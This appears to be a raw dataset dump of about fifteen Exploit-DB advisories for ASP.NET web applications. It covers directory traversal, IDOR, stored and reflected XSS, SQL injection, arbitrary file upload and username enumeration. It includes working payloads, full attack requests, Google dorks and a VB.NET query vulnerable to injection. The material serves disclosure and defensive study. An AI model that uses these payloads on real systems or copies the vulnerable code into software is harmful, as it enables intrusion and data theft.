deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41086
Description: Check Box 2016 Q2 Survey - Multiple Vulnerabilities
Type: webapps
Platform: aspx
Date: 2017-01-17
Author: Fady Mohammed Osman

Exploit:
# Exploit Title: Check Box 2016 Q2 Survey Multiple Vulnerabilities
# Exploit Author: Fady Mohamed Osman (@fady_osman)
# Exploit-db : http://www.exploit-db.com/author/?a=2986
# Youtube : https://www.youtube.com/user/cutehack3r
# Date: Jan 17, 2017
# Vendor Homepage: https://www.checkbox.com/
# Software Link: https://www.checkbox.com/free-checkbox-trial/
# Version: Check Box 2016 Q2,Check Box 2016 Q4  - Fixed in Checkbox Survey,
Inc. v6.7
# Tested on: Check Box 2016 Q2 Trial on windows Server 2012.
# Description : Checkbox is a survey application deployed by a number of
highly profiled companies and government entities like Microsoft, AT&T,
Vodafone, Deloitte, MTV, Virgin, U.S. State Department, U.S. Secret
Service,  U.S. Necular Regulatory Comission, UNAIDS, State Of California
and more!!

For a full list of their clients please visit:
https://www.checkbox.com/clients/

1- Directory traversal vulnerability : For example to download the
web.config file we can send a request as the following:
http://www.example.com/Checkbox/Upload.ashx?f=..\..\web.config&n=web.config

2- Direct Object Reference :
attachments to surveys can be accessed directly without login as the
following:
https://www.victim.com/Checkbox/ViewContent.aspx?contentId=5001
I created a script that can bruteforce the numbers to find ID's that will
download the attachment and you can easily write one on your own ;).

3- Open redirection in login page for example:
https://www.victim.com/Checkbox/Login.aspx?ReturnUrl=http://www.google.com

If you can't see why an open redirection is a problem in login page please
visit the following page:
https://www.asp.net/mvc/overview/security/preventing-
open-redirection-attacks


Timeline:
December 2016 - Discovered the vulnerability during Pen. Test conducted by
ZINAD IT for one of our clients.
Jan 12,2017 - Reported to vendor.
Jan 15,2017 - Sent a kind reminder to the vendor.
Jan 16,2017 - First Vendor Response said they will only consider directory
traversal as a vulnerability and that a fix will be sent in the next day.
Jan 16,2017 - Replied to explain why DOR and Open Redirect is a problem.
Jan 17,2017 - Patch Release Fixed the Directory Traversal.
Jan 17,2017 - Sent another email to confirm if DOR and open redirect wont
be fixed.
Jan 17,2017 - Open redirection confirmed to be fixed in the same patch
released before for DOR the vendor said they didn't believe that's a
security concern and that they have added a warning to let users know that
their attachments will be available to anyone with access to that survey page !!
Exploit-DB #48124
Description: DotNetNuke 9.5 - Persistent Cross-Site Scripting
Type: webapps
Platform: aspx
Date: 2020-02-24
Author: Sajjad Pourali

Exploit:
# Exploit Title: DotNetNuke 9.5 - Persistent Cross-Site Scripting
# Date: 2020-02-23
# Exploit Author: Sajjad Pourali
# Vendor Homepage: http://dnnsoftware.com/
# Software Link: https://github.com/dnnsoftware/Dnn.Platform/releases/download/v9.5.0/DNN_Platform_9.5.0_Install.zip
# Version: <= 9.5
# CVE : N/A
# More Info: https://medium.com/@SajjadPourali/dnn-dotnetnuke-cms-not-as-secure-as-you-think-e8516f789175

DNN allows normal users to upload XML files by using journal tools in their profile. An attacker could upload XML files which may execute malicious scripts in the user’s browser.

In XML, a namespace is an identifier used to distinguish between XML element names and attribute names which might be the same. One of the standard namespaces is “http://www.w3.org/1999/xhtml” which permits us to run XHTML tags such as <script>.

For instance, uploading the following code as an XML file executes javascript and shows a non-harmful ‘XSS’ alert.

<?xml version="1.0" encoding="UTF-8"?>
<script xmlns="http://www.w3.org/1999/xhtml">
 alert('XSS');
</script>

Though stealing of authentication cookies are not possible at this time (because the authentication’s cookies are set as HttpOnly by default), XSS attacks are not limited to stealing users’ cookies. Using XSS vulnerability, an attacker can perform other more damaging attacks on other or high privileged users, for example, bypassing CSRF protections which allows uploading “aspx” extension files through settings page which leads to upload of backdoor files.
Exploit-DB #51200
Description: ELSI Smart Floor V3.3.3 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: aspx
Date: 2023-04-01
Author: Rob_ CTRL Group

Exploit:
# Exploit Title: ELSI Smart Floor V3.3.3 - Stored Cross-Site Scripting (XSS)
# Date: 12/09/2022
# Exploit Author: Rob, CTRL Group
# Vendor Homepage: marigroup.com
# Version: V3.3.3 and under
# Tested on: Windows IIS all versions
# CVE : CVE-2022-35543

“Stored Cross-Site Scripting” Vulnerability within the Elsi Smart Floor software. This vulnerability does require authentication however, once the payload is stored, any user visiting the portal will trigger the alert. 

Login to the appplication

Browse to "Settings" tab and tehn " Wards". Create a new word with the following payload at the ward name:


 <script>alert(document.cookie)</script>


Any user browsing the application will trigger the payload.
Exploit-DB #44831
Description: EMS Master Calendar < 8.0.0.20180520 - Cross-Site Scripting
Type: webapps
Platform: aspx
Date: 2018-06-04
Author: Chris Barretto

Exploit:
# Exploit Title: EMS Master Calendar < 8.0.0.20180520 - Reflected Cross-Site Scripting
# Date:  2018-06-01
# Exploit Author: Chris Barretto
# Vendor Homepage: https://www.emssoftware.com/
# Software Link: https://docs.emssoftware.com/Content/V44.1_ReleaseNotes.htm
# Version: Versions prior to 8.0.0.201805210 are vulnerable
# Tested on: Master Calendar v8.0.0.127
# CVE : CVE-2018-11628

# 1. Description:
# Data input into EMS Master Calendar before 8.0.0.201805210 via URL parameters are not properly sanitized,
# allowing malicious attackers to send a crafted URL and execute code in the context of the user's browser.

#2. Proof of concept:
# The following PoC URL is available:
https://example.com/MasterCalendar/RssFeeds.aspx?Name=abc<script>alert('XSS')</script>xyz
Exploit-DB #49508
Description: H8 SSRMS - 'id' IDOR
Type: webapps
Platform: aspx
Date: 2021-02-01
Author: Mohammed Farhan

Exploit:
# Exploit Title: H8 SSRMS - 'id' IDOR
# Date: 01/31/2021
# Exploit Author: Mohammed Farhan
# Vendor Homepage: https://www.height8tech.com/
# Version: H8 SSRMS
# Tested on: Windows 10


Vulnerability Details
======================
Login to the application
Navigate to Payment Section and Click on Print button.
In QuotePrint.aspx, modify the id Parameter to View User details, Address,
Payments, Phonenumber and Email of other Users
Exploit-DB #42687
Description: ICEstate 1.1 - 'id' SQL Injection
Type: webapps
Platform: aspx
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Real Estate Marketplace Site ASP.NET Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/real-estate-marketplace-site.htm
# Demo: http://www.icloudcenter.com/demos/icestatemarket/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/details.aspx?id=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #50164
Description: IntelliChoice eFORCE Software Suite 2.5.9 - Username Enumeration
Type: webapps
Platform: aspx
Date: 2021-07-29
Author: LiquidWorm

Exploit:
# Exploit Title: IntelliChoice eFORCE Software Suite 2.5.9 - Username Enumeration
# Date: 03.05.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.eforcesoftware.com

IntelliChoice eFORCE Software Suite v2.5.9 Username Enumeration


Vendor: IntelliChoice, Inc.
Product web page: https://www.eforcesoftware.com
Affected version: 2.5.9.6
                  2.5.9.5
                  2.5.9.3
                  2.5.9.2
                  2.5.9.1
                  2.5.8.0
                  2.5.7.20
                  2.5.7.18
                  2.5.6.18
                  2.5.4.6
                  2.5.3.11

Summary: IntelliChoice is a United States software company that was
founded in 2003, and offers a software title called eFORCE Software
Suite. eFORCE Software Suite is law enforcement software, and includes
features such as case management, court management, crime scene management,
criminal database, dispatching, evidence management, field reporting,
scheduling, court management integration, certification management,
and incident mapping. With regards to system requirements, eFORCE
Software Suite is available as SaaS, Windows, iPhone, and iPad software.

Desc: The weakness is caused due to the login script and how it verifies
provided credentials. Attacker can use this weakness to enumerate valid
users on the affected application via 'ctl00$MainContent$UserName' POST
parameter.

Tested on: Microsoft-IIS/10.0
           Microsoft-IIS/8.5
           ASP.NET/4.0.30319


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5658
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5658.php


03.05.2021

--


Request/response for existent username:
---------------------------------------

POST /eFORCECommand/Account/Login.aspx HTTP/1.1

__LASTFOCUS: 
__EVENTTARGET: 
__EVENTARGUMENT: 
__VIEWSTATE: Xxx
__VIEWSTATEGENERATOR: 4A5A1A0F
__EVENTVALIDATION: Xxx
ctl00$MainContent$UserName: eforce
ctl00$MainContent$[CREDENTIAL_REDACTED]
ctl00$MainContent$btnLogin.x: 20
ctl00$MainContent$btnLogin.y: 7


Response:
Invalid password entered for username eforce.



Request/response for non-existent username:
-------------------------------------------

POST /eFORCECommand/Account/Login.aspx HTTP/1.1

__LASTFOCUS: 
__EVENTTARGET: 
__EVENTARGUMENT: 
__VIEWSTATE: Xxx
__VIEWSTATEGENERATOR: 4A5A1A0F
__EVENTVALIDATION: Xxx
ctl00$MainContent$UserName: testingus
ctl00$MainContent$[CREDENTIAL_REDACTED]
ctl00$MainContent$btnLogin.x: 20
ctl00$MainContent$btnLogin.y: 7


Response:
Unable to login: User name testingus is not registered.
Exploit-DB #43947
Description: IPSwitch MOVEit 8.1 < 9.4 - Cross-Site Scripting
Type: webapps
Platform: aspx
Date: 2018-02-02
Author: 1n3

Exploit:
# Exploit Title: IPSwitch MoveIt Stored Cross Site Scripting (XSS)
# Date: 1-31-2017
# Software Link: https://www.ipswitch.com/moveit
# Affected Version: 8.1-9.4 (only confirmed on 8.1 but other versions prior to 9.5 may also be vulnerable)
# Exploit Author: 1N3@CrowdShield - https://crowdshield.com (Early Warning Security)
# Contact: https://twitter.com/crowdshield
# Vendor Homepage: https://www.ipswitch.com 
# Category: Webapps
# Attack Type: Remote
# Impact: Data/Cookie Theft 


1. Description
 
IPSwitch MoveIt v8.1 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. Attackers can leverage this vulnerability to send malicious messages to other users in order to steal session cookies and launch client-side attacks. 


2. Proof of Concept

The vulnerability lies in the Send Message -> Body Text Area input field.
 
POST /human.aspx?r=692492538 HTTP/1.1
Host: host.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: https://host.com/human.aspx?r=510324925
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 598

czf=9c9e7b2a9c9e7b2a9c9e7b2a9c9e7b2a9c066e4aee81bf97f581826d8c093953d82d2b692be5490ece13e6b23f1ad09bda751db1444981eb029d2427175f9906&server=host.com&url=%2Fhuman.aspx&instid=2784&customwizlogoenabled=0&customwiznameup=&customwizzipnameup=%5Bdefault%5D&transaction=secmsgpost&csrftoken=1a9cc0f7aa7ee2d9e0059d6b01da48b69a14669d&curuser=kuxt36r50uhg0sXX&arg12=secmsgcompose&Arg02=&Arg03=452565093&Arg05=edit&Arg07=forward&Arg09=&Arg10=&opt06=&Opt08=&opt01=username&opt02=&opt03=&arg01=FW%3A+test&Opt12=1&arg04=<iframe/src=javascript:alert(1)>&attachment=&opt07=1&arg05_Send=Send


3. Solution:

Update to version 9.5


4. Disclosure Timeline

1/30/2017 - Disclosed details of vulnerability to IPSwitch.
1/31/2017 - IPSwitch confirmed the vulnerability and verified the fix as of version 9.5 and approved public disclosure of the vulnerability.
Exploit-DB #42184
Description: KBVault MySQL 0.16a - Arbitrary File Upload
Type: webapps
Platform: aspx
Date: 2017-06-14
Author: Fatih Emiral

Exploit:
# Exploit Title: [KBVault MySQL v0.16a - Unauthenticated File Upload to Run Code]
# Google Dork: [inurl:"FileExplorer/Explorer.aspx"]
# Date: [2017-06-14]
# Exploit Author: [Fatih Emiral]
# Vendor Homepage: [http://kbvaultmysql.codeplex.com/]
# Software Link: [http://kbvaultmysql.codeplex.com/downloads/get/858806]
# Version: [0.16a]
# Tested on: [Windows 7 (applicable to all Windows platforms)]
# CVE : [CVE-2017-9602]

1. Description

KBVault Mysql Free Knowledge Base application package comes with a third party file management component. An unauthenticated user can access the file upload (and delete) functionality using the following URI:

http://host/FileExplorer/Explorer.aspx?id=/Uploads

2. Exploit

Through this functionality a user can upload an ASPX script to run any arbitrary code, e.g.:

http://host/Uploads/Documents/cmd.aspx

3. Solution

Unauthenticated access to the file management function should be prohibited.
File uploads should be checked against executable formats, and only acceptable file types should be allowed to upload.

4. Disclosure Timeline

2017-06-09: Vendor notification
2017-06-09: Vendor responded with intention to fix the vulnerability
2017-06-12: CVE number acquired
2017-06-15: Public disclosure
Exploit-DB #43149
Description: LanSweeper 6.0.100.75 - Cross-Site Scripting
Type: webapps
Platform: aspx
Date: 2017-11-16
Author: Miguel Mendez Z

Exploit:
LanSweeper - Cross Site Scripting and HTMLi

Title: Vulnerability in LanSweeper
Date: 16-11-2017
Status: Vendor contacted, patch available
Author: Miguel Mendez Z
Vendor Homepage: http://www.lansweeper.com
Version: 6.0.100.75
CVE: CVE-2017-16841

Vulnerability description -------------------------

LanSweeper 6.0.100.75 has XSS via the description parameter to "/Calendar/CalendarActions.aspx".
Take control of the browser using the xss shell or perform malware attacks on users.

Vulnerable variable:
--------------------

"http://victim.com/Calendar/CalendarActions.aspx?action=scheduleinfo&id=2&__VIEWSTATE=&title=Test+Lansweeper&description=XSS/HTMLI&type=1&startdate=13/10/2017&txtStart=19:30&enddate=13/10/2017&txtEnd=21:30&reminder=15&repeattype=1&amount=1&repeatby=0&monthday=1&monthweekday=1&monthweekdayday=1&ends=1&occurrences=15&repeatenddate=&agents={"14":{"id":14,"editAllowed":true}}&teams=&delete=false"

"http://victim.com/Scanning/report.aspx?det=web50accessdeniederrors&title=XSS/HTMLI"

"http://victim.com/Software/report.aspx?det=XSS/HTMLI&title=Linux Software"


Poc:
----
https://www.youtube.com/watch?v=u213EqTSsXQ
Exploit-DB #45706
Description: Library Management System 1.0 - 'frmListBooks' SQL Injection
Type: webapps
Platform: aspx
Date: 2018-10-29
Author: Ihsan Sencan

Exploit:
# Exploit Title: Library Management System 1.0 - 'frmListBooks' SQL Injection
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/librarymanagementsystem.zip
# Version: 1.0
# Category: Windows
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18796

# POC: 
# 1)
# textSearch System.Windows.Forms.TextBox / [SQL]
# 
# %' And (SElecT 112 FRom(SELECT CoUNT(*),conCAT((SELecT (ELT(112=112,1))),CONCAT_WS(0x203a20,USEr(),DATABASE(),VERsiON()),FLOOR(RAnD(0)*2))x FRoM INFORmaTION_SCHeMA.PLuGINS GRoUP BY x)a) AnD'%'='
# 
# https://1.bp.blogspot.com/-8FBYHFTLhhQ/W9YnCQg0nZI/AAAAAAAAENM/St0sn1IYjDs5kTjvYQNtT_mBmOEv-RaIgCLcBGAs/s1600/sql1.png
# 
#[PATH]/forms/frmListofBooks.vb
#...

Public Class frmListBooks

     Private Sub frmListBooks_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
         sql = "SELECT `AccessionNo`, `BookTitle`, `BookDesc` as 'Description', `Author`, `PublishDate`, `BookPublisher`, `Category`,BookType as 'typeOfBooks', `BookPrice` as 'Price', DeweyDecimal " & _
         ", Status FROM `tblbooks` b, `tblcategory` c WHERE b.`CategoryId`=c.`CategoryId` "
         reloadDtg(sql, dtgList)
     End Sub
 
     Private Sub txtSerach_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles txtSearch.TextChanged
         sql = "SELECT `AccessionNo`, `BookTitle`, `BookDesc` as 'Description', `Author`, `PublishDate`, `BookPublisher`, `Category`,BookType as 'typeOfBooks', `BookPrice` as 'Price', DeweyDecimal " & _
          ", Status FROM `tblbooks` b, `tblcategory` c WHERE b.`CategoryId`=c.`CategoryId`  AND (`BookTitle` Like '%" & txtSearch.Text & "%' OR `Author` Like '%" & txtSearch.Text & "%' OR `AccessionNo` Like '%" & txtSearch.Text & "%')"
         reloadDtg(sql, dtgList)
     End Sub
 
     Private Sub btnAdd_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnAdd.Click
         Try
             If dtgList.CurrentRow.Cells(10).Value = "Available" Then
                 frmBorrow.txtAccesionNumBorrow.Text = dtgList.CurrentRow.Cells(0).Value
                 Me.Close()
             Else
                 MsgBox("The book is already borrowed.", MsgBoxStyle.Exclamation)
 
             End If
         Catch ex As Exception
 
         End Try
 
     End Sub
 
     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
         Me.Close()
     End Sub
 End Class
Exploit-DB #40407
Description: Microix Timesheet Module - SQL Injection
Type: webapps
Platform: aspx
Date: 2016-09-22
Author: Anthony Cole

Exploit:
# Exploit Title: Microix timesheet module SQL Injection
# Google Dork: "Copyright by Microix" inurl:"/microixcloud/"
# Date: 2016-09-06
# Software Link: http://www.microix.net/workflow-modules/timesheet-module/
# Exploit Author: Anthony Cole
# Contact: http://twitter.com/acole76
# Website: http://www.3fforensics.com/
# CVE: 
# Category: webapps
 
1. Description
   
Microix timeclock is vulnerable to a SQL injection.  The field that is injectable is:

ctl00$ctl00$ASPxCallbackPanel1Root$ASPxSplitter1$Content$ASPxSplitter2$Content2$ASPxRoundPanel1$ASPxCallbackPanel1$txtUserIDOrBadgeID

Initial contact attempt: 08/22/2016
2nd attempt: 08/29/2016
3rd attempt: 09/05/2016
4th attempt: 09/21/2016
   
2. Proof of Concept

POST /microixcloud/ HTTP/1.1
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded

__VIEWSTATE=&ctl00%24ctl00%24ASPxCallbackPanel1Root%24ASPxSplitter1%24Content%24ASPxSplitter2%24Content2%24ASPxRoundPanel1%24ASPxCallbackPanel1%24txtUserIDOrBadgeID=SQLi&ctl00%24ctl00%24ASPxCallbackPanel1Root%24ASPxSplitter1%24Content%24ASPxSplitter2%24Content2%24ASPxRoundPanel1%24ASPxCallbackPanel1%24txt[CREDENTIAL_REDACTED]__CALLBACKID=ctl00%24ctl00%24ASPxCallbackPanel1Root%24ASPxSplitter1%24Content%24ASPxSplitter2%24Content2%24ASPxRoundPanel1%24ASPxCallbackPanel1&__CALLBACKPARAM=c0%3ALogin

 
3. Solution:
None
Exploit-DB #50674
Description: Nyron 1.0 - SQLi (Unauthenticated)
Type: webapps
Platform: aspx
Date: 2022-01-18
Author: Miguel Santareno

Exploit:
# Exploit Title: Nyron 1.0 - SQLi (Unauthenticated)
# Google Dork: inurl:"winlib.aspx"
# Date: 01/18/2021
# Exploit Author: Miguel Santareno
# Vendor Homepage: http://www.wecul.pt/
# Software Link: http://www.wecul.pt/solucoes/bibliotecas/
# Version: < 1.0
# Tested on: windows

# 1. Description

Unauthenticated user can exploit SQL Injection vulnerability in thes1 parameter.


# 2. Proof of Concept (PoC)

https://vulnerable_webiste.com/Nyron/Library/Catalog/winlibsrch.aspx?skey=C8AF11631DCA40ADA6DE4C2E323B9989&pag=1&tpp=12&sort=4&cap=&pesq=5&thes1='">


# 3. Research:
https://miguelsantareno.github.io/edp.pdf
Exploit-DB #48456
Description: Orchard Core RC1 - Persistent Cross-Site Scripting
Type: webapps
Platform: aspx
Date: 2020-05-12
Author: SunCSR

Exploit:
# Exploit Title: Orchard Core RC1 - Persistent Cross-Site Scripting
# Google Dork: "Orchardcms"
# Date: 2020-05-07
# Exploit Author: SunCSR (Sun* Cyber Security Research)
# Vendor Homepage: http://www.orchardcore.net/
# Software Link: https://github.com/OrchardCMS/OrchardCore
# Version: RC1
# Tested on: Windows
# CVE : N/A

### Vulnerability : Persistent Cross-Site Scripting

###Describe the bug
Persistent Cross-site scripting (Stored XSS) vulnerabilities in Orchard CMS - Orchard Core RC1 allow remote attackers to inject arbitrary web script or HTML
via create or edit blog content.

###To Reproduce
Steps to reproduce the behavior:
POST /Admin/Contents/ContentTypes/BlogPost/Create HTTP/1.1
----------------------------[PII_REDACTED][PII_REDACTED]329743365
Content-Disposition: form-data; name="ListPart.ContainerId"

4s5x3fv3qpsh7rwzvy069ykbxn
----------------------------[PII_REDACTED][PII_REDACTED]329743365
Content-Disposition: form-data; name="TitlePart.Title"

Test XSS
----------------------------[PII_REDACTED][PII_REDACTED]329743365
Content-Disposition: form-data; name="AutoroutePart.Path"


----------------------------[PII_REDACTED][PII_REDACTED]329743365
Content-Disposition: form-data; name="BlogPost.Subtitle.Text"


----------------------------[PII_REDACTED][PII_REDACTED]329743365
Content-Disposition: form-data; name="MarkdownBodyPart.Source"

<script>alert(document.cookie)</script>
----------------------------[PII_REDACTED][PII_REDACTED]329743365
Content-Disposition: form-data; name="submit.Publish"

submit.Publish
----------------------------[PII_REDACTED][PII_REDACTED]329743365
Content-Disposition: form-data; name="__RequestVerificationToken"

xxx
----------------------------[PII_REDACTED][PII_REDACTED]329743365--

###Reference:
https://github.com/OrchardCMS/OrchardCore/issues/5802

### History
=============
2020-03-23  Issue discovered
2020-03-27  Vendor contacted
2020-04-22  Vendor response and hotfix
2020-04-22  Vendor set patch milestone to rc2
Exploit-DB #41985
Description: Personify360 7.5.2/7.6.1 - Improper Access Restrictions
Type: webapps
Platform: aspx
Date: 2017-05-09
Author: Pesach Zirkind

Exploit:
# Exploit Title: Access and read and create vendor / API credentials in plaintext
# Date: 3/29/2017
# Exploit Author: Pesach Zirkind
# Vendor Homepage: https://personifycorp.com/
# Version: 7.5.2 - 7.6.1
# Tested on: Windows (all versions)
# CVE : CVE-2017-7312

# Category: webapps

1. Description
   
Any website visitor can access a page that allows viewing and creating any vendor accounts and their credentials including all applications that use Personify API's

It will show username, password and block(api password)
 
New accounts can be created, or, existing accounts can be used to spoof the origin of attacker.

Additionally, roles can be modified for existing vendors
   
2. Proof of Concept
 
Visit: http://site.com/Default.aspx?tabId=275
Click: Vendor Management on the left side
Click on the vendor you wish to edit
   
3. Solution:
   
The fix is available at Personify’s SFTP site (sftp.personifycorp.com) as Personify Patch – SSO-IMS-DNN-Permission.zip